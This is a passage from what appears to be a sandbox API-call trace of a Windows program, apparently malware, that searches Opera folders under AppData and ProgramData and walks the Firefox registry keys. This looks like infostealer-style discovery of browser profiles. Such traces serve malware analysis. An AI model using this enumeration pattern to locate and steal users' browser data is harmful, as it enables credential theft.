lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" [0047.407] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned 38 [0047.407] lstrlenA (lpString="VirtualStore") returned 12 [0047.407] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x756820 [0047.407] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" [0047.407] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\", lpString2="VirtualStore" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VirtualStore") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VirtualStore" [0047.407] LocalFree (hMem=0x754820) returned 0x0 [0047.407] StrStrIA (lpFirst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VirtualStore", lpSrch="opera") returned 0x0 [0047.407] LocalFree (hMem=0x756820) returned 0x0 [0047.407] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 0 [0047.407] FindClose (in: hFindFile=0x72dc90 | out: hFindFile=0x72dc90) returned 1 [0047.407] LocalFree (hMem=0x7508d8) returned 0x0 [0047.407] LocalFree (hMem=0x7469f0) returned 0x0 [0047.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Opera Software", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd3c | out: phkResult=0xefd3c*=0x0) returned 0x2 [0047.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Opera Software", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd10 | out: phkResult=0xefd10*=0x0) returned 0x2 [0047.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Opera Software", ulOptions=0x0, samDesired=0x20119, phkResult=0xefce4 | out: phkResult=0xefce4*=0x0) returned 0x2 [0047.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Opera Software", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd3c | out: phkResult=0xefd3c*=0x0) returned 0x2 [0047.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Opera Software", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd10 | out: phkResult=0xefd10*=0x0) returned 0x2 [0047.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Opera Software", ulOptions=0x0, samDesired=0x20119, phkResult=0xefce4 | out: phkResult=0xefce4*=0x0) returned 0x2 [0047.407] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="Opera.HTML\\shell\\open\\command", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd3c | out: phkResult=0xefd3c*=0x0) returned 0x2 [0047.407] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="Opera.HTML\\shell\\open\\command", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd10 | out: phkResult=0xefd10*=0x0) returned 0x2 [0047.407] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="Opera.HTML\\shell\\open\\command", ulOptions=0x0, samDesired=0x20119, phkResult=0xefce4 | out: phkResult=0xefce4*=0x0) returned 0x2 [0047.407] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.407] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0047.408] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.408] lstrlenA (lpString="\\Opera Software") returned 15 [0047.408] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x756820 [0047.408] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.408] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\Opera Software" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Opera Software") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Opera Software" [0047.408] LocalFree (hMem=0x7469f0) returned 0x0 [0047.408] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Opera Software") returned 54 [0047.408] lstrlenA (lpString="\\*.*") returned 4 [0047.408] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x74a670 [0047.408] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Opera Software" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Opera Software") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Opera Software" [0047.408] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Opera Software", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Opera Software\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Opera Software\\*.*" [0047.408] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Opera Software\\*.*", lpFindFileData=0xefbe4 | out: lpFindFileData=0xefbe4) returned 0xffffffff [0047.408] LocalFree (hMem=0x74a670) returned 0x0 [0047.408] LocalFree (hMem=0x756820) returned 0x0 [0047.408] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.408] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0047.408] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.408] lstrlenA (lpString="\\Opera Software") returned 15 [0047.408] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x756820 [0047.408] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.408] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\Opera Software" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Opera Software") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Opera Software" [0047.408] LocalFree (hMem=0x7469f0) returned 0x0 [0047.408] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Opera Software") returned 54 [0047.408] lstrlenA (lpString="\\*.*") returned 4 [0047.408] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x74a670 [0047.408] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Opera Software" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Opera Software") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Opera Software" [0047.408] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Opera Software", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Opera Software\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Opera Software\\*.*" [0047.408] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Opera Software\\*.*", lpFindFileData=0xefbe4 | out: lpFindFileData=0xefbe4) returned 0xffffffff [0047.408] LocalFree (hMem=0x74a670) returned 0x0 [0047.408] LocalFree (hMem=0x756820) returned 0x0 [0047.408] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.408] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0047.408] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.408] lstrlenA (lpString="\\Opera Software") returned 15 [0047.408] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x756820 [0047.408] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.408] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\Opera Software" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Opera Software") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Opera Software" [0047.408] LocalFree (hMem=0x7469f0) returned 0x0 [0047.408] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Opera Software") returned 52 [0047.408] lstrlenA (lpString="\\*.*") returned 4 [0047.408] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74a670 [0047.408] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Opera Software" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Opera Software") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Opera Software" [0047.408] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Opera Software", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Opera Software\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Opera Software\\*.*" [0047.408] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Opera Software\\*.*", lpFindFileData=0xefbe4 | out: lpFindFileData=0xefbe4) returned 0xffffffff [0047.408] LocalFree (hMem=0x74a670) returned 0x0 [0047.409] LocalFree (hMem=0x756820) returned 0x0 [0047.409] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.409] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0047.409] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.409] lstrlenA (lpString="\\Opera Software") returned 15 [0047.409] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x756820 [0047.409] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.409] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\Opera Software" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Opera Software") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Opera Software" [0047.409] LocalFree (hMem=0x7469f0) returned 0x0 [0047.409] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Opera Software") returned 52 [0047.409] lstrlenA (lpString="\\*.*") returned 4 [0047.409] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74a670 [0047.409] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Opera Software" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Opera Software") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Opera Software" [0047.409] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Opera Software", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Opera Software\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Opera Software\\*.*" [0047.409] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Opera Software\\*.*", lpFindFileData=0xefbe4 | out: lpFindFileData=0xefbe4) returned 0xffffffff [0047.409] LocalFree (hMem=0x74a670) returned 0x0 [0047.409] LocalFree (hMem=0x756820) returned 0x0 [0047.409] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.409] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\ProgramData") returned 0x0 [0047.409] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.409] lstrlenA (lpString="\\Opera Software") returned 15 [0047.409] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x758820 [0047.409] lstrcpyA (in: lpString1=0x758820, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.409] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Opera Software" | out: lpString1="C:\\ProgramData\\Opera Software") returned="C:\\ProgramData\\Opera Software" [0047.409] LocalFree (hMem=0x7469f0) returned 0x0 [0047.409] lstrlenA (lpString="C:\\ProgramData\\Opera Software") returned 29 [0047.409] lstrlenA (lpString="\\*.*") returned 4 [0047.409] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x754820 [0047.409] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\ProgramData\\Opera Software" | out: lpString1="C:\\ProgramData\\Opera Software") returned="C:\\ProgramData\\Opera Software" [0047.409] lstrcatA (in: lpString1="C:\\ProgramData\\Opera Software", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Opera Software\\*.*") returned="C:\\ProgramData\\Opera Software\\*.*" [0047.409] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Opera Software\\*.*", lpFindFileData=0xefbe4 | out: lpFindFileData=0xefbe4) returned 0xffffffff [0047.409] LocalFree (hMem=0x754820) returned 0x0 [0047.409] LocalFree (hMem=0x758820) returned 0x0 [0047.409] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.409] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\ProgramData") returned 0x0 [0047.409] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.409] lstrlenA (lpString="\\Opera Software") returned 15 [0047.409] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x758820 [0047.409] lstrcpyA (in: lpString1=0x758820, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.409] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Opera Software" | out: lpString1="C:\\ProgramData\\Opera Software") returned="C:\\ProgramData\\Opera Software" [0047.409] LocalFree (hMem=0x7469f0) returned 0x0 [0047.409] lstrlenA (lpString="C:\\ProgramData\\Opera Software") returned 29 [0047.409] lstrlenA (lpString="\\*.*") returned 4 [0047.409] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x754820 [0047.409] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\ProgramData\\Opera Software" | out: lpString1="C:\\ProgramData\\Opera Software") returned="C:\\ProgramData\\Opera Software" [0047.409] lstrcatA (in: lpString1="C:\\ProgramData\\Opera Software", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Opera Software\\*.*") returned="C:\\ProgramData\\Opera Software\\*.*" [0047.409] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Opera Software\\*.*", lpFindFileData=0xefbe4 | out: lpFindFileData=0xefbe4) returned 0xffffffff [0047.409] LocalFree (hMem=0x754820) returned 0x0 [0047.409] LocalFree (hMem=0x758820) returned 0x0 [0047.410] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.410] IStream:LockRegion (This=0x7473d8, libOffset=0x148, cb=0x0, dwLockType=0x0) returned 0x0 [0047.410] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd5c) returned 0x0 [0047.410] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.410] IStream:LockRegion (This=0x7473d8, libOffset=0x140, cb=0x0, dwLockType=0x0) returned 0x0 [0047.410] IStream:Stat (in: This=0x7473d8, pstatstg=0x140, grfStatFlag=0x0 | out: pstatstg=0x140) returned 0x0 [0047.410] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.410] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.410] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0047.410] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc50) returned 0x0 [0047.410] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc64) returned 0x0 [0047.410] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc68) returned 0x0 [0047.410] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0xefc6f | out: lpBuffer="C:\\Users\\aDU0VK IWA5kLS\\Desktop") returned 0x1f [0047.410] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Firefox") returned 0x0 [0047.410] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x74ccd0 [0047.410] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla", phkResult=0xefc4c | out: phkResult=0xefc4c*=0x390) returned 0x0 [0047.410] RegEnumKeyExA (in: hKey=0x390, dwIndex=0x0, lpName=0x74ccd0, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.410] lstrlenA (lpString="Software\\Mozilla") returned 16 [0047.410] lstrlenA (lpString="\\") returned 1 [0047.410] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x716ef8 [0047.410] lstrcpyA (in: lpString1=0x716ef8, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0047.410] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0047.410] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0047.410] lstrlenA (lpString="Firefox") returned 7 [0047.410] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0047.410] lstrcpyA (in: lpString1=0x758820, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0047.410] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0047.410] LocalFree (hMem=0x716ef8) returned 0x0 [0047.410] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Firefox") returned="Firefox" [0047.410] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20019, phkResult=0xefbcc | out: phkResult=0xefbcc*=0x394) returned 0x0 [0047.410] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefbc4, lpData=0x0, lpcbData=0xefbc8*=0x7 | out: lpType=0xefbc4*=0x0, lpData=0x0, lpcbData=0xefbc8*=0x0) returned 0x2 [0047.410] RegCloseKey (hKey=0x394) returned 0x0 [0047.410] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0xefba0 | out: phkResult=0xefba0*=0x394) returned 0x0 [0047.410] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb98, lpData=0x0, lpcbData=0xefb9c*=0xefb84 | out: lpType=0xefb98*=0x0, lpData=0x0, lpcbData=0xefb9c*=0x0) returned 0x2 [0047.410] RegCloseKey (hKey=0x394) returned 0x0 [0047.410] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb74 | out: phkResult=0xefb74*=0x394) returned 0x0 [0047.410] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb6c, lpData=0x0, lpcbData=0xefb70*=0xefb58 | out: lpType=0xefb6c*=0x0, lpData=0x0, lpcbData=0xefb70*=0x0) returned 0x2 [0047.410] RegCloseKey (hKey=0x394) returned 0x0 [0047.411] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75a808 [0047.411] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0xefc18 | out: phkResult=0xefc18*=0x394) returned 0x0 [0047.411] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x0, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Crash Reporter", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.411] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0047.411] lstrlenA (lpString="\\") returned 1 [0047.411] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x7588c8 [0047.411] lstrcpyA (in: lpString1=0x7588c8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0047.411] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0047.411] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0047.411] lstrlenA (lpString="Crash Reporter") returned 14 [0047.411] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x754820 [0047.411] lstrcpyA (in: lpString1=0x754820, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0047.411] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="Crash Reporter" | out: lpString1="Software\\Mozilla\\Firefox\\Crash Reporter") returned="Software\\Mozilla\\Firefox\\Crash Reporter" [0047.411] LocalFree (hMem=0x7588c8) returned 0x0 [0047.411] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\Crash Reporter", lpSrch="Firefox") returned="Firefox\\Crash Reporter" [0047.411] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb98 | out: phkResult=0xefb98*=0x398) returned 0x0 [0047.411] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb90, lpData=0x0, lpcbData=0xefb94*=0x7 | out: lpType=0xefb90*=0x0, lpData=0x0, lpcbData=0xefb94*=0x0) returned 0x2 [0047.411] RegCloseKey (hKey=0x398) returned 0x0 [0047.411] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", ulOptions=0x0, samDesired=0x20219, phkResult=0xefb6c | out: phkResult=0xefb6c*=0x398) returned 0x0 [0047.411] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb64, lpData=0x0, lpcbData=0xefb68*=0xefb50 | out: lpType=0xefb64*=0x0, lpData=0x0, lpcbData=0xefb68*=0x0) returned 0x2 [0047.411] RegCloseKey (hKey=0x398) returned 0x0 [0047.411] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb40 | out: phkResult=0xefb40*=0x398) returned 0x0 [0047.411] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb38, lpData=0x0, lpcbData=0xefb3c*=0xefb24 | out: lpType=0xefb38*=0x0, lpData=0x0, lpcbData=0xefb3c*=0x0) returned 0x2 [0047.411] RegCloseKey (hKey=0x398) returned 0x0 [0047.412] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b090 [0047.412] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x398) returned 0x0 [0047.412] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x0, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0047.412] RegCloseKey (hKey=0x398) returned 0x0 [0047.412] LocalFree (hMem=0x75b090) returned 0x0 [0047.412] LocalFree (hMem=0x754820) returned 0x0 [0047.412] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x1, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.412] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0047.412] lstrlenA (lpString="\\") returned 1 [0047.412] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x7588c8 [0047.412] lstrcpyA (in: lpString1=0x7588c8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0047.412] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0047.412] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0047.412] lstrlenA (lpString="TaskBarIDs") returned 10 [0047.412] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x754820 [0047.412] lstrcpyA (in: lpString1=0x754820, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0047.412] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0047.412] LocalFree (hMem=0x7588c8) returned 0x0 [0047.412] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Firefox") returned="Firefox\\TaskBarIDs" [0047.412] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb98 | out: phkResult=0xefb98*=0x398) returned 0x0 [0047.412] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb90, lpData=0x0, lpcbData=0xefb94*=0x7 | out: lpType=0xefb90*=0x0, lpData=0x0, lpcbData=0xefb94*=0x0) returned 0x2 [0047.412] RegCloseKey (hKey=0x398) returned 0x0 [0047.412] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20219, phkResult=0xefb6c | out: phkResult=0xefb6c*=0x398) returned 0x0 [0047.412] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb64, lpData=0x0, lpcbData=0xefb68*=0xefb50 | out: lpType=0xefb64*=0x0, lpData=0x0, lpcbData=0xefb68*=0x0) returned 0x2 [0047.412] RegCloseKey (hKey=0x398) returned 0x0 [0047.412] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb40 | out: phkResult=0xefb40*=0x398) returned 0x0 [0047.412] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb38, lpData=0x0, lpcbData=0xefb3c*=0xefb24 | out: lpType=0xefb38*=0x0, lpData=0x0, lpcbData=0xefb3c*=0x0) returned 0x2 [0047.412] RegCloseKey (hKey=0x398) returned 0x0 [0047.412] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b090 [0047.412] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", 